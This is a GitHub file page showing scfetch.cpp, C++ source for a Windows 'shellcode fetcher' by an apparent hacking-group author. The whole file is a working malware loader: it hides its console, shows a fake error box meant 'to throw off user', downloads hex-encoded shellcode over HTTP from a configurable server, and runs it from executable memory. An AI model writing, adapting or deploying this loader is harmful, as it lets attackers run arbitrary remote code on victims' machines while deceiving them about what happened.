forked from richardsonjf/ShellcodeFetcher
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathscfetch.cpp
More file actions
73 lines (58 loc) · 1.93 KB
/
scfetch.cpp
File metadata and controls
73 lines (58 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// Coded by s1ege greetz to all #GSH members.
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
using namespace std;
int messagebox() {
int msgboxID = MessageBox(
NULL,
"Error to throw off user. ",
"Error:",
MB_ICONEXCLAMATION | MB_OK
);
return msgboxID;
}
void fetch(string server, string path) {
HINSTANCE hInst;
WSADATA wsaData;
SOCKADDR_IN SockAddr;
char buf[8192];
string response;
unsigned char shellcode[8192];
// initialize winsock, create socket and connect to server
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct hostent* host = gethostbyname(server.c_str());
SockAddr.sin_port = htons(80);
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
connect(sock, (SOCKADDR*)(&SockAddr), sizeof(SockAddr));
// send HTTP GET request to server
string get_http = "GET " + path + " HTTP/1.1\r\nHost: " + server + "\r\nConnection: close\r\n\r\n";
send(sock, get_http.c_str(), strlen(get_http.c_str()), 0);
// receive and store http response
while (recv(sock, buf, 8192, 0)) {
response += buf;
}
// convert shellcode string from http response into byte array
string shellcode_str = response.substr(response.find("\r\n\r\n"));
for (int i = 0; i < shellcode_str.size() / 4; ++i) {
shellcode[i] = strtoul(shellcode_str.substr(i * 4 + 2, 2).c_str(), nullptr, 16);
}
// allocate memory and execute shellcode in memory
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
}
int main() {
// enter address hosting shellcode here.
string server = "127.0.0.1";
// enter path to shellcode.txt file here.
string path = "/shellcode.txt";
messagebox();
fetch(server, path);
return 0;
}